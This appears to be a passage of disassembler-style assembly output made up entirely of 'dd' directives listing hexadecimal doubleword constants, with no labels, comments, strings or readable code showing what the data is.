		dd 66053298h, 0C9D14A6Eh, 86F8CEC0h, 2180127Ah,	7DDCC09Ah
		dd 0D9005395h, 0E3E1E41Ah, 77EC27h, 326084C3h, 755B6CCBh
		dd 0BB020800h, 0B1522171h, 0C7810059h, 0CCE24787h, 15382D8Eh
		dd 0CCC5AE5Eh, 2C7E0F05h, 4B824C4h, 0AB76E400h,	643411B7h
		dd 80A2B53Ch, 4965F071h, 0FD387B4h, 7686569Ch, 40850809h
		dd 0FFF8904Fh, 0B92F9B84h, 48980014h, 5B771Fh, 65327CE0h
		dd 4B36CC5Ah, 5F73B000h, 0BF851369h, 8F670762h,	0A0EC9D4Fh
		dd 6B41437h, 99FC30FDh,	8054D44Ch, 5EBBCAC2h, 394FC7Ah
		dd 0E8226173h, 6EB81BD4h, 0CF007F4Eh, 8B6C4BDDh, 0CA11E9h
		dd 0B3148747h
		dd 0FFCEBB18h, 0FD8FEBA0h, 5A2D587Ch, 0E8840268h, 1EEA1675h
		dd 8FB34A1Ch, 80D34701h, 0D170155Ch, 7809002Dh,	53AAA933h
		dd 42009F99h, 35DC969Eh, 7A4D8BDh, 0A98786A5h, 0CE8639A0h
		dd 122E6874h, 8F403C45h, 3DBEB336h, 638050A5h, 1FB5160Eh
		dd 6A0EE8D6h, 0E0ADD930h, 9D4E71E3h, 0C5150246h, 68E97632h
		dd 5A90F4E8h, 800EC33Dh, 446A9F7Ch, 7C158EAh, 0DF9DBBFDh
		dd 38664054h, 0FA1E6419h, 76437C49h, 8184E30Ah,	40F46995h
		dd 0EF23008Bh, 55F3C572h, 0D303EA93h, 7851C453h, 0E2078867h
		dd 0DC114813h, 76C7D700h, 0B02C64B9h, 2F1A2300h, 0AF62ABEh
		dd 42160074h, 0EC078C5Ah, 97988E03h, 0AE33CF0Fh, 90096ACh
		dd 0AD79556Bh, 0D359009Dh, 7D0E181Ch, 270158B0h, 138A3FFFh
		dd 0AAE8901Dh, 25BD3902h, 0CC38D00h, 0E6ABEC03h, 6107FB74h
		dd 0D8B250A4h, 0BD1DE920h, 11080045h, 20847405h, 80275EF3h
		dd 55C8002Fh, 8EECBEh, 35839AE7h, 486D7C88h, 2C272526h
		dd 0E9A1BDh, 15B8ED58h,	9A00A7F6h, 0D5FF571Fh, 517D71h
		dd 9B95E862h, 0D0ECCCBCh, 0EAD9E600h, 3711C1ACh, 9054EA80h
		dd 0E52F00D4h, 3A4C50F0h, 280481F2h, 0D0B8FB34h, 98338DCh
		dd 42034D88h, 0F45E6061h, 10055E9h, 0E57C291Ch,	0C745ECh
		dd 70E3242Bh, 0BF3B0627h, 92B3080Fh, 7DB2402Ch,	3CD1479Bh
		dd 0AF4BCDECh, 365ECB00h, 5C04998Bh, 141F0918h,	40246EB7h
		dd 987B34Bh, 4B6C5Ch, 4868AF77h, 92D727h, 9905374Eh, 0C3091D6h
		dd 3BF36300h, 18DD490Eh, 6E5E1E52h, 17A30090h, 0CA3496FDh
		dd 1595500h, 8FFFAEA6h,	6BA512C0h, 0F3780082h, 0D4810E40h
		dd 0ADCE1500h, 65FF5EBFh, 3C1498E5h, 0FB8017DFh, 0E483C68Eh
		dd 0F8007BEDh, 2B677AFh, 355A1Bh, 70373AB3h, 55E42D2Ch
		dd 0AE076C00h, 5498ED68h, 20B363h, 8E6678Eh, 0B300170Bh
		dd 7F04F781h, 0E4E2EAh,	398D40B7h, 442BE721h, 98A16D03h
		dd 0BCED6B51h, 54C343C1h, 26D8A070h, 67848E3Fh,	0F94E00ACh
		dd 6E006F84h, 0FDFC5A07h, 0A46439h, 0E0AFA823h,	0F4406DA7h
		dd 0D6F10800h, 3625CD1h, 21DA0059h, 3237819Ch, 58263EC7h
		dd 0E7009B57h, 0AFE1BB17h, 54F0783h, 0C8CE9Bh, 2270AE9Ah
		dd 0BB097F00h, 2A88E21Eh, 69C40021h, 4F242E8Bh,	1500C004h
		dd 42EBA50Ah, 0FC815C07h, 0CBBB1F16h, 0EAFFCF75h, 4097E147h
		dd 0BFD98663h, 0FDA9B301h, 0BB2E92E7h, 1DCFBC70h, 805BD13Ch
		dd 0EB33CD22h, 0B7099EABh, 808F98F6h, 8EF5D580h, 0C0F87330h
		dd 0BEE16C4Ch, 920008DFh, 18E29BACh, 0F325703h,	0F37D88A6h
		dd 0BE71E180h, 3E7C6AF5h, 0D846582Eh, 0A5DD2809h, 0CBC0EE80h
		dd 0AF06B1h, 0D1B3632Bh, 0B8FADB81h, 0AE3B0E14h, 0AA240ECFh
		dd 84D36080h, 0BA09C02h, 559B5299h, 3EC55082h, 0A98E7860h
		dd 7A389200h, 2FF97097h, 44B62E74h, 0C7051EEFh,	30E1A984h
		dd 0F2C5D9BCh, 2F73CF1Eh, 1801B8ACh, 8079AE4Fh,	0BF55E8h
		dd 9D77C6DEh, 8DEFC494h, 0AF0071B0h, 2CF14AF0h,	78565Ch
		dd 94B49352h, 0AAFBE481h, 1E5158h, 0FCCDBDCCh, 274F401h
		dd 326999C9h, 0CA81E5FDh, 28D7DF59h, 0FFE702CCh, 64505E1Eh
		dd 1EA97C58h, 406A466Ch, 54FE10C6h, 0E73C3AD2h,	80783CF4h
		dd 5D40BB04h, 93DCFCh, 0E81A6A3Bh, 51B5F377h, 0C8E06600h
		dd 0F840B289h, 82849934h, 3E5B520Ah, 5EF56448h,	14709316h
		dd 872DA800h, 780D4A5Ch, 0AFF622h, 11D24ED4h, 0BA772EBFh
		dd 0F6CC7F01h, 0F9A65844h, 574C052Bh, 70B22Fh, 0AFCFE947h
		dd 0D54B91h, 54A3DD50h,	75DC28A9h, 0C3312100h, 989F84D0h
		dd 9E5900E9h, 0EB80FCC0h, 0ED1217B9h, 80262D7h,	0C0FAC166h
		dd 96DD3488h, 0ECB600F4h, 9BEAF4E0h, 45FB0200h,	76F9223Ch
		dd 9B7E4D6h, 0D8DD13A5h, 0DE00CCF2h, 8495E4CEh,	603403h
		dd 9A0250B4h, 0E2A24506h, 0A7DBDC16h, 0F7C0181Fh, 0F98A22D9h
		dd 616B0046h, 7D0B1875h, 0D7774E6Ch, 0B4706000h, 0AFB2BB6h
		dd 78350154h, 94961924h, 7113F0A3h, 9B4F300h, 0C77F2AFDh
		dd 4CBB0078h, 7DA04876h, 0F20B8C56h, 543EB603h,	0A27703E4h
		dd 0ACE839EAh, 6600EF8Ah, 1D0F1B1h, 3B9ED921h, 3803575h
		dd 2569449Bh, 56483B32h, 0C52F0018h, 0FF5875C0h, 1F107E7Eh
		dd 58377C82h, 0B079508Eh, 0B36D5A00h, 809616DBh, 0B2F435h
		dd 28C3E1A6h, 7DC79119h, 0BBDDE01h, 0D2983AABh,	2F7A1820h
		dd 58000509h, 20DE12A5h, 762DB201h, 88985308h, 1F41C30h
		dd 0B187B5B4h, 0D9FDCA65h, 6CC7C452h, 16784F00h, 0B9491512h
		dd 135109A3h, 0B4404670h, 0D0B42A23h, 0AD309904h, 740070ACh
		dd 1063B7C5h, 9E00F435h, 494F03C2h, 0D0119Ah, 0E759865Ch
		dd 46F02E76h, 43EEB10Fh, 380281F4h, 9CFC36A3h, 0E1190B7h
		dd 1F63AD60h, 0B15D4600h, 8700B656h, 0CCEF4CBFh, 749BAFBh
		dd 7D07E739h, 0DB11E031h, 0DE27159Ah, 0AD140275h, 150546Fh
		dd 374DEF35h, 0F03CDB09h, 33850083h, 312CB114h,	79B982Bh
		dd 45BBCD69h, 0E1416F4Bh, 0DCA80781h, 40FE28EEh, 14426300h
		dd 37B4C272h, 0D11700F9h, 6775A9CCh, 400C77Bh, 0EBFB9E83h
		dd 78E2291Ah, 20CF0BAEh, 3C90DFE5h, 0CE007E45h,	4143245Ch
		dd 78C63778h, 0A1830080h, 59AD6827h, 0EB00CBE6h, 0EDAC69D5h
		dd 0EFB25F95h, 0CC6A24C8h, 1D9068AEh, 0EDE38503h, 0C0AAE0ADh
		dd 4E820D42h, 0BE988072h, 0D20026C0h, 1B6D0858h, 2097C0Ch
		dd 0BFB8C5FEh, 28D48E46h, 0BDDACE00h, 2D0E133Eh, 2C4629CAh
		dd 0B500527Ch, 0D34CA2DBh, 633BF8h, 0F0F71A15h,	80F17F28h
		dd 0C5564F00h, 0F6BE85C9h, 71DF0016h, 8C3B728Bh, 5F002864h
		dd 54F09EDDh, 8766F4h, 604DF57Fh, 0A7484C13h, 5A3DC703h
		dd 90F00B6Bh, 8A5DD0h, 5343BD66h, 222A5E78h, 0DE58631Fh
		dd 360008A6h, 0CA7B3C14h, 3B8E3h, 8BAEEDBAh, 5E4CD159h
		dd 84DD6102h, 0D6907B8Dh, 2AFF07D4h, 5B0759BCh,	0A67511AFh
		dd 7920DC74h, 960DC00h,	0E9014ED3h, 0AB1D0F3Fh,	0E143A5F0h
		dd 8BEAF6ECh, 64000856h, 11CEE24Eh, 0B85000ABh,	7FAA89C9h
		dd 950A797Dh, 0A87BB5DAh, 3161501h, 0B0558473h,	24C18100h
		dd 83D3A8h, 0DE55914Eh,	0B553AB95h, 20198D2Bh, 0A09CF98Eh
		dd 6B301061h, 1C9C90B0h, 9E720C4Bh, 0F61201h, 2A3B03A4h
		dd 5A0B8548h, 227BA819h, 0E43C4BF8h, 41553E6Ch,	0AEEEB300h
		dd 0F78B62E3h, 0D84F7C00h, 1D9ED3E4h, 8C9D0051h, 4B4A8288h
		dd 7E60C520h, 0A1198688h, 0EEAE0055h, 108CA25Ch, 0B603DD07h
		dd 7E9897F2h, 0FB120B9Ah, 0B480F13Eh, 421E683Ah, 7B7C8801h
		dd 0B1ADD165h, 1F880D6h, 0C047FFh, 0FAA0892Fh, 3F8CC938h
		dd 75FEF000h, 325B8BDBh, 0DAEC1Bh, 2AF460CDh, 2F109DECh
		dd 7C00D398h, 2E9833CEh, 39975E27h, 52006406h, 6691B2BFh
		dd 0DC05A77Ah, 88F28012h, 0D1CB8440h, 34850Fh, 78231DB9h
		dd 60F7DCBCh, 7B90D600h, 4326155h, 0C92000ECh, 0E4AF0C3Ah
		dd 0AE00016Eh, 1A470FEFh, 0E2B260B3h, 0BED40A29h, 0FCB6BCh
		dd 2F932A8Eh, 2404F7BDh, 3E0E4622h, 2DB82CC0h, 0ACB200EBh
		dd 0FE98F005h, 8F01C463h, 9656E05Bh, 288043DDh,	0F2CCA7EDh
		dd 94B84520h, 50308B07h, 5500A595h, 119E231h, 2F42C473h
		dd 3B23EE51h, 0C86BDA83h, 2C682Eh, 8EE43FDFh, 93D0C6D4h
		dd 0BD67800Eh, 0CD81C0B1h, 7B1110h, 344815D1h, 0E7BABB1Dh
		dd 0AE049F03h
		dd 881CC842h, 12FC39E3h, 20CFE28Ah, 48D20E30h, 7A9DFE00h
		dd 6C89C6AAh, 0BC4E00FDh, 9E2FBE3Fh, 0F20197D8h, 25AD968Dh
		dd 1BD86A59h, 0CFA83BBCh, 0C62DBF00h, 2699171Ch, 3DA66C39h
		dd 7C00063h, 790C7F9Ah,	691E00FDh, 84BD4776h, 7A0087F1h
		dd 281D5D6Ah, 0FB0A72h,	37DEB47Eh, 0CE48A29Ah, 32A34503h
		dd 87F043D0h, 0F78200F9h, 0CCBFD8h, 7A5736E2h, 0B2841370h
		dd 0C3823Dh, 5A203C12h,	0E3D009h, 41479BE0h, 0B6FC4914h
		dd 0B1EE5Ch, 0D295E6F0h, 0AE561h, 9C76CD0Eh, 9206445Ah
		dd 0D6D4B300h, 36CE4EA9h, 0D1FD1867h, 2B2F1802h, 90E72400h
		dd 9C090DBCh, 0E09A0081h, 0B910D589h, 6600D463h, 98C55142h
		dd 9CE49602h, 0C2280C4h, 2C2F018Fh, 86445402h, 567033DFh
		dd 0FAB20090h, 302651AAh, 0C798A201h, 6B2AE857h, 0BD9EF0h
		dd 3B8493D9h, 0D66F2DA4h, 0C360FC01h, 6E2CF2E5h, 71F9D8h
		dd 0E2744637h, 4B415886h, 533C680Eh, 25FBC0C2h,	4C4CA610h
		dd 8D000A88h, 72A5399Bh, 410A37BBh, 9573925Fh, 5D682500h
		dd 0F0B21h, 8A7AA480h, 42C696A6h, 9AF76F1Dh, 0BE00181Ch
		dd 1B74AF3Fh, 0ECFD007Bh, 67221E61h, 57078038h,	0F8097584h
		dd 53057F70h, 74EF00EDh, 0D2D5864Ah, 0E20084F3h, 0DFB9DC1Eh
		dd 3A6C7Fh, 0E73498CBh,	0EEEFEB06h, 0AE1EF400h,	0E37EFAE0h
		dd 94030005h, 965BD60Eh, 607F2D92h, 0F91FC61Eh,	60809FD2h
		dd 0B4E34Dh, 9554C951h,	0F387F85Ah, 68801C9Bh, 0ADC49952h
		dd 0F8317392h, 0F5E0181Ch, 0ACDA3E16h, 9677C000h, 0AA6A7626h
		dd 0A1B8CDh, 31A4D1B2h,	37C92A46h, 0C5DED700h, 28198E54h
		dd 0B553FC66h, 958AB002h, 0B000985Ch, 0BF2FA8A2h, 0F443AD6h
		dd 18D34A18h, 33011B02h, 0DD86EFDEh, 0DC608058h, 399AF1B7h
		dd 787E2004h, 0CDF12680h, 5A12CFD7h, 8E648C17h,	1761603Ch
		dd 0CC41A585h, 0C7B9D4B5h, 23420A0h, 0AC5BBF05h, 90C0FF77h
		dd 0F900D247h, 0AB107C90h, 76192Fh, 65DFC875h, 0EF32545Bh
		dd 0FC148CE8h, 746C1CC2h, 0BDA95961h, 27205BEEh, 62430075h
		dd 3384BC06h, 0CAFE8174h, 460019F2h, 438A9A56h,	0FEA6725Ah
		dd 73353842h, 0F7F27800h, 0ED19444Eh, 8601A478h, 0DA39CD91h
		dd 42F4BD15h, 0DEBA0001h, 0E6C20C0Ah, 8071456Ch, 0C6862300h
		dd 935C8CC7h, 83D80355h, 0DC7E5750h, 5EA879D8h,	2FEA341Dh
		dd 5F47451Fh, 1D71F99Ah, 3CC9281Fh, 398416FCh, 230040EAh
		dd 0B916631h, 0CF056342h, 0E85CEC67h, 0EC0A440h, 68254BCh
		dd 0F8EF01ACh, 0C95A08FBh, 8A391080h, 945E010Ah, 0F00283B2h
		dd 8CC8009Ah, 0F20ECA6h, 3F522395h, 0E0800C80h,	0FE0122D5h
		dd 629D329Fh, 0E6C01959h, 3F2A0125h, 0A61C334Eh, 0F16F10C6h
		dd 0EFC9007Bh, 0FCA2348Ah, 0DEE841DAh, 2500A8BEh, 0D61C7BAAh
		dd 6B503D4h, 0F85F4B21h, 0B4F96D80h, 0D8CF49C0h, 79DF0Fh
		dd 0FC160BD0h, 3F2B35F1h, 0B86980F1h, 5D08ED74h, 0E93E000Ch
		dd 3F38FEFFh, 0E9C09863h, 0CEF80E8Ch, 0BAAD0090h, 56ED88A6h
		dd 0D2005DDFh, 0E1D351CAh, 4E8064h, 0BC9DB5Fh, 65F486B9h
		dd 2040BC60h, 488259Ah,	8EC11823h, 85598340h, 9C5CA6A2h
		dd 0AB6F1D00h, 834403h,	9A3BF4E2h, 0C2F96263h, 0FDFE247Bh
		dd 1D61B63Ch, 4C02331h,	2AD4506Eh, 5A74EBh, 0C70306E4h
		dd 0E0C87B59h, 0EF8B2B00h, 0A2279BCDh, 718C0196h, 0BEF03884h
		dd 0E10CC878h, 0E300B4E4h, 1AF66F9Dh, 0FA8CD3Dh, 1687718Bh
		dd 46179B00h, 0B0043E4h, 42142BB8h, 4AFF4Ch, 87E6956Bh
		dd 0A1C645F1h, 6144D700h, 0A31066BCh, 0AACF0003h, 1FF8EC09h
		dd 69004121h, 0DB6DF307h, 3AF4EBCDh, 0A801BDDCh, 0B92D319Fh
		dd 0B461FC32h, 37139D00h, 79767483h, 821C0090h,	0A1A5A39Fh
		dd 8B00D557h, 0E9F1C32Ch, 1432BBh, 9376F7D4h, 2B3D30F4h
		dd 0DF82BF00h, 0FBB96BF6h, 2A00403h, 806F71C4h,	0C74EE940h
		dd 0BC42B003h, 907FADDDh, 6A1DDFh, 0A5565D01h, 7B1D6CAh
		dd 0DE2AAF00h, 0F63DBFF3h, 30980E23h, 93A7EF62h, 3A01707Ah
		dd 38305F88h, 0ED646961h, 351B0F0Ah, 6FE3B446h,	0E807A2Ch
		dd 0E700206Bh, 58DAAF59h, 3CCC7C2Dh, 2E0B5A4Dh,	0BE810829h
		dd 0F13576BCh, 8542DC71h, 0FCA32405h, 30034303h, 0C8E064CFh
		dd 0FEBB495Fh, 95EA01EBh, 0CDAC4B2Fh, 0A318022h, 4D5563ADh
		dd 0D0E539F4h, 0C14C6080h, 0AABD4A82h, 0DAB93200h, 0F879756Ah
		dd 0CAFA09h, 0E03DDD42h, 1C0A25B4h, 0B10580F6h,	85A4D871h
		dd 9E6CCF80h, 0E7700F56h, 0F60042E4h, 38E674AAh, 7C33BC00h
		dd 0D79F4346h, 0C3B307F2h, 30A1514Ah, 27F7F5E7h, 0B8BB5B00h
		dd 7CEB4E9Dh, 56330063h, 6CAB1B0Dh, 290F7A9Fh, 261048h
		dd 6D280E1Eh, 8BB900B3h, 0C49BF443h, 0D01EBA03h, 1647A9DAh
		dd 54F07137h, 983AD6h, 8C9BACC3h, 79A91F24h, 7B688218h
		dd 0FD6B90h, 31F2BE96h,	0E7E5B9AEh, 0B65F6A01h,	4BF8B355h
		dd 0C36187FCh, 86182830h, 0B814F6B8h, 63BAB601h, 5CDD4323h
		dd 775DE8CFh, 75820029h, 51887E0Dh, 0E90E42F6h,	0A125E367h
		dd 952E5FAEh, 5880F7EDh, 7C7F1D37h, 40D88428h, 40F17E59h
		dd 44E69961h, 6C600589h, 504CFE0Eh, 2572C52h, 5FACD81Dh
		dd 8F108772h, 0B07D40FEh, 0C688857Ch, 55D4019h,	0D13E8C42h
		dd 0F01127A0h, 1708F8A1h, 460A9D03h, 97488454h,	0FC548422h
		dd 4844CE2Ch, 0ED08F7E1h, 28282220h, 28584534h,	3AB4508Fh
		dd 9AC86A5Fh, 0B9ED2706h, 80EF3838h, 0C296BB9Ah, 0EB26562h
		dd 3078AFDBh, 99B64120h, 7B0367E5h, 1CAEC2D6h, 0B378019Dh
		dd 0A9151890h, 8668893Fh, 0E98C82D9h, 43926047h, 606CFCAEh
		dd 0D6F891Eh, 73002E28h, 0B97494B7h, 29532Bh, 44FA9730h
		dd 0A6BBAE2Fh, 918B0F00h, 15AA339h, 0B3E80628h,	0D88FB271h
		dd 0B11AD904h, 1DC07477h, 0A0C31175h, 2A9A2A4h,	7B01D653h
		dd 9AE156C2h, 90C85063h, 65FE45FBh, 840CAB28h, 0A6B81503h
		dd 98235F95h, 1838F5EBh, 105EBED7h, 0CE50FB68h,	320B0F0h
		dd 4E900096h, 0F5A32763h, 5B001070h, 7FD7A87Ah,	768B66B3h
		dd 251907C8h, 421E099Fh, 0E8C0FC67h, 0F602FA38h, 0C21490E8h
		dd 5D9483F7h, 0C05FE8F4h, 0E75C0787h, 405051DAh, 172E23F8h
		dd 20BC18C0h, 1E1EB9DDh, 0A0BF8Ch, 7C483694h, 9C499BC4h
		dd 0B35E12F4h, 0CC114041h, 2B20C504h, 1D0E0245h, 484E2454h
		dd 0FEEF2440h, 831EEC00h, 0F06C37A8h, 80A25476h, 9197A31h
		dd 22344B84h, 43B80827h, 1FC1D130h, 7E2B60E8h, 0E416C328h
		dd 0B82E9F00h, 317A7CB0h, 25E8092Ch, 0B021125Dh, 0E4E0320Dh
		dd 5BE8CBF8h, 3B203003h, 0F8D183CFh, 1E08C40Fh,	84FF73D6h
		dd 8055926Ch, 71786548h, 0E20C7200h, 47B58822h,	0FEE00B0h
		dd 7E8F04CBh, 0A2794BCAh, 0E07D892h, 44EB1575h,	62C52C00h
		dd 5963010Bh, 6ACC27E0h, 91376011h, 0FA904700h,	13A80ED1h
		dd 7AC1047Fh, 0C9105270h, 0C2DD0108h, 25A8FCFBh, 60072100h
		dd 0E9446A97h, 7EA226C5h, 389748h, 0DA4CE7CDh, 0D018EF5h
		dd 99BF61F0h, 0CC718847h, 5CF7188Eh, 7298CD80h,	600739C6h
		dd 0A925077Ch, 7E92D3E0h, 39700ECh, 1B11C71h, 0C858B9A0h
		dd 15F50FC8h, 0DFC3204Eh, 0E56BF4A4h, 0C06A77D0h, 15FF8A20h
		dd 6C0F9FB0h, 0E331FB23h, 0A074B229h, 0A666849h, 9FFF4A1Ch
		dd 16A40728h, 4C1B01E3h, 0F79C08A6h, 15EE3500h,	30A94F00h
		dd 4D86FE07h, 0A5E2BEh
		dd 0F4CC4641h, 0E5DF368Dh, 5A6CD900h, 0AA1FDC74h, 0B374E7h
		dd 59DA6F04h, 0B14EB466h, 0C5377500h, 3671C241h, 6F0300AEh
		dd 846658C4h, 6901619Ch, 0BC29AD91h, 907053B3h,	69436F0Ch
		dd 0E5E1F5C3h, 346FB929h, 48B9173h, 72013F08h, 4943D0B3h
		dd 0BAF09029h, 0E4E300C8h, 0DE96C1Dh, 0C612339Ah, 0D81C038Ch
		dd 0B3F8C069h, 3CDD00CEh, 396DF671h, 640311DFh,	0BD890A8Bh
		dd 1E86D0CBh, 3B1705Dh,	7833BBF4h, 10015E2Ah, 6BFC7F91h
		dd 8BE8B893h, 7A34001Dh, 31F4E306h, 0A300B7FAh,	92B03CAFh
		dd 3FB15453h, 734C6158h, 4D315B00h, 1859A226h, 4CF85D00h
		dd 0CF3A0B81h, 0EE370073h, 0BAB38458h, 6C0E8988h, 44CE1457h
		dd 44C07675h, 1B6392h, 364C342Eh, 0E27BF274h, 0B2D87900h
		dd 40CB8645h, 0E42131Ch, 0E8CE8E3h, 0EE042C4Eh,	2321E052h
		dd 38104Ah, 198F0177h, 0B07CF05Eh, 3E97B800h, 0E758DECDh
		dd 6BF30039h, 75D548ABh, 6C0010EDh, 0BA485FAh, 1A5F9B1h
		dd 0C8934195h, 0E0DA7B31h, 5AF9B44Ah, 0E7FD0104h, 0B27B321Dh
		dd 98660DC0h, 41280099h, 316C5DCCh, 50EA74Ch, 0B60329F9h
		dd 0BBD2BF07h, 0E78C28DCh, 6D9E5600h, 13FDFF00h, 0A78702D6h
		dd 0AAAB01C8h, 6F244408h, 0ECE9C510h, 5A009DCEh, 33D39FBBh
		dd 0E8E4CC9Eh, 16BA00D1h, 9615C244h, 0C50087B0h, 9F282B69h
		dd 77F91C74h, 0B23300D2h, 0A06C1794h, 5F005E9Dh, 0A40727E4h
		dd 7EF86FF7h, 697900C3h, 0DFB7AB37h, 1C018B35h,	861E1DE5h
		dd 9BDC1B45h, 0F03A0F01h, 0AC20B0EAh, 0B1D0CC3Eh, 17B2C500h
		dd 0E2E88B28h, 74580031h, 224FC3FDh, 55143729h,	0EFAD04Ch
		dd 7577FCh, 0FFF53AEDh,	59FD001Ch, 97EDA21h, 9E010AB4h
		dd 183B1225h, 8BE00F67h, 3640035Fh, 1F094A9Bh, 7A3825A8h
		dd 71022713h, 0E0B9F90Eh, 0D04231F5h, 0F15100C9h, 0EC69E965h
		dd 58003B05h, 0A8D13D97h, 85BED2h, 17D52460h, 3C5194F5h
		dd 5F8D800h, 32E097ABh,	1D131869h, 9643FC65h, 4ED02000h
		dd 198C86AEh, 0F5E04Fh,	0C45D475Bh, 8EF9BF7Dh, 5403821Dh
		dd 40BAFC8Eh, 0B7CD7C96h, 785201DDh, 9FFC64Dh, 89C2D098h
		dd 0FE0C4E07h, 0E6902BA0h, 3E8DD70h, 504DE3F4h,	0ABF092BDh
		dd 1507CDA7h, 0A0C27844h, 0E7FF0D20h, 0B9C81E63h, 89EC41A4h
		dd 7A40CDADh, 1FB79B80h, 0E12A03FAh, 0F3084F3h,	0A761B1E8h
		dd 96E8BF00h, 78EF329Ah, 5C9848CFh, 0B937D400h,	71C7B8E2h
		dd 1F27B300h, 7A9CDCC2h, 912E009Dh, 43B5D668h, 0E4015387h
		dd 7DE9E1C1h, 0A02B0626h, 8F0782D4h, 215B95F3h,	0C7F543A0h
		dd 0D728002Ah, 176133B5h, 1F000163h, 1C8CFE68h,	0AEDF32h
		dd 0B48279A3h, 22352E83h, 1AB13E1Dh, 0F26E1CC0h, 3914C6CEh
		dd 3100D836h, 5074BBCFh, 0D300FB47h, 60B88124h,	7728DC6h
		dd 2BF4D46Bh, 0B7604E4Dh, 2C9650FCh, 0E1665E00h, 0CE9E083Eh
		dd 0FEDB1CE7h, 6FEA4EB0h, 2BBD6D20h, 0AC00F0DFh, 0AE9ADA20h
		dd 25747ECh, 0E7CA1AAAh, 0B2406C06h, 3200016Dh,	58D043ACh
		dd 7FCB647Dh, 0F3CF13B0h, 2B8400E4h, 345061EEh,	0FF0152E4h
		dd 238624F7h, 72F8F2C4h, 0D1AA0719h, 50BE7180h,	9F5029E2h
		dd 59F16E00h, 0F3461FACh, 8307002Bh, 0CC52B4EDh, 2200DBA1h
		dd 0FD12829Eh, 91798h, 8F668A1Dh, 47DA287Fh, 2AD3F600h
		dd 0DCE55444h, 95342463h, 302F0058h, 256741A4h,	8F426D00h
		dd 0AD4FF88Dh, 70281DCCh, 0C7939F1Ch, 10723B57h, 26C73320h
		dd 92146902h, 40B3FAC9h, 1A0C60Ch, 99AB3119h, 8F2B4F17h
		dd 0A0655DC0h, 0A5E553CEh, 78A00C7h, 0D58529C5h, 911C3DDDh
		dd 2C406B90h, 195CCF28h, 79350F04h, 7B43C855h, 1B0A3E0h
		dd 880057C5h, 0B192D56Dh, 0E66940h, 7D0C3C2Ah, 5D1ADF4Dh
		dd 0BCE24Dh, 0F8E0CD61h, 18940C0h, 0E91CCC6Ah, 0E0DDB23Dh
		dd 7650C39Ah, 0B400D785h, 0FCCDF8E8h, 7266772h,	590FABBBh
		dd 3E14208Ah, 6300D6F0h, 0FFD86DA1h, 36F3E4h, 0F28FC6A7h
		dd 0D4453C15h, 295A4A00h, 0B507EFA4h, 9C540257h, 0ACFDD3AFh
		dd 451080F5h, 0EF3904h,	16AE0CA5h, 5A9A98A4h, 800EDF3Fh
		dd 3184D581h, 0D02285h,	58EFC78Fh, 6DD74AA6h, 0D0AEA07h
		dd 75A5131Fh, 6841CFC2h, 2E25C730h, 2F2E3h, 8E6829C4h
		dd 0A2009D08h, 18EEA89Fh, 7E64ACh, 0A6679794h, 80601475h
		dd 699E1E00h, 0BE4838F3h, 6B2D1D5Fh, 0F007FA21h, 0A0DC314Eh
		dd 1A56423h, 84A70612h,	0D8981C63h, 0F65F71h, 23513011h
		dd 9C6F0828h, 294AC500h, 0C6702DDAh, 61A900DDh,	266C7190h
		dd 220794A0h, 3989153Bh, 0E31600A9h, 0F026EDBh,	5AFDFC23h
		dd 88E59E00h, 0B075244h, 31AA5BC0h, 90D74333h, 0A076055Eh
		dd 0D6E7AF0h, 6061E472h, 88A0C0A8h, 9ADF0101h, 45A1EF20h
		dd 0B39820h, 0AF21BD19h, 16E1414Fh, 1BB6C0B7h, 0CEFC0789h
		dd 0B006E651h, 2272B0B9h, 4CBA3Eh, 0A0870462h, 0C3C8C1h
		dd 27D9CD1Ch, 70800131h, 3062411Fh, 0C9D1FF40h,	0E6A86028h
		dd 4A291FC2h, 1F254079h, 3C981127h, 3B00F778h, 0F0A1ABAEh
		dd 0EC623E9Bh, 0BDEA00FEh, 5B8523D9h, 0E80E94C5h, 605811D4h
		dd 0A0DF53A3h, 121B0051h, 1E3633EFh, 0B102B463h, 43C7750Ch
		dd 1381D7A5h, 0E464031Fh, 2D00F95Eh, 36283E77h,	7EC0DF2h
		dd 0E0428E37h, 938DF04Ah, 500F01F5h, 80DF683Ch,	14284781h
		dd 79C57DB4h, 0F82174D7h, 0B0ED0A45h, 2B46968h,	7492430Eh
		dd 0A76124C2h, 1C6C74D5h, 9E779675h, 525A4F1Ch,	685E6D40h
		dd 0B46016h, 914E01AEh,	0EC238CE5h, 300787Eh, 0FD28FEF8h
		dd 0DF1EB1h, 97D726E3h,	1975187Fh, 5D74220Eh, 9C65A0EAh
		dd 7F9AFD01h, 52A5001Eh, 424E1CBBh, 0EF00DE3Fh,	5BDD282Dh
		dd 4CDA641Bh, 2500B3FAh, 88E31FE4h, 0AD004A92h,	1DED67C7h
		dd 47DA23Ah, 42709A90h,	300CC7F7h, 0E508D4FAh, 0C98B3E01h
		dd 0FBF07236h, 0A020DBCCh, 0BE0EB4h, 0D14189ACh, 0D1F3358h
		dd 672F3Ah, 5999C5ADh, 0E265ECE5h, 0F5BB07AAh, 602C7D50h
		dd 0CE2B6F9Dh, 68F3D0Fh, 0B9460B6h, 0DD1279h, 0A54A82DBh
		dd 0D8289FFEh, 0A4C11300h, 3B3F3DCAh, 6560E720h, 2F7612h
		dd 0C94DE01Fh, 0B23A021Dh, 27FF1B0Eh, 0E23EC0A4h, 82A74h
		dd 24884506h, 0FBD15B98h, 84AB6C1Fh, 83482300h,	1CDBB17Ch
		dd 40BA5E5Dh, 67BDD5ACh, 1A0F3AF4h, 0C0272146h,	614835D0h
		dd 0FECF70B3h, 6C707Eh,	0A995A8DBh, 62E1832Eh, 210161B0h
		dd 1E4F0319h, 0C02409D6h, 668B1D59h, 0BC6000FCh, 0CEB1AF01h
		dd 48D3DC00h, 5C294643h, 0FAD2311Ch, 508CF231h,	0CF65D8C0h
		dd 0C89CB70Eh, 0C0374E72h, 0D9133BBBh, 1AF200B3h, 0DB2AB6ACh
		dd 0C8A03829h, 663C91A9h, 1E037324h, 0C9E21CD3h, 0A8B38BE7h
		dd 1D7727Ch, 558B1A5Fh,	20BC17DEh, 0F900B4CAh, 0DC5A273Ch
		dd 73B12BF6h, 0F3FD0C6Eh, 10202D93h, 28893018h,	49EC79A0h
		dd 1F1C00B0h, 4AB9B02Fh, 807707Fh, 4386FF60h, 39D3130h
		dd 0A80460A6h, 99B8DBCAh, 0F178BF0Fh, 0E41A200Fh, 7B0B4D97h
		dd 31F3033Dh, 0C065FACDh, 18B743E0h, 19D58C00h,	59BB380h
		dd 40590E29h, 0AD617F5Fh, 0F131B0E7h, 0CCC08355h, 0A1538B77h
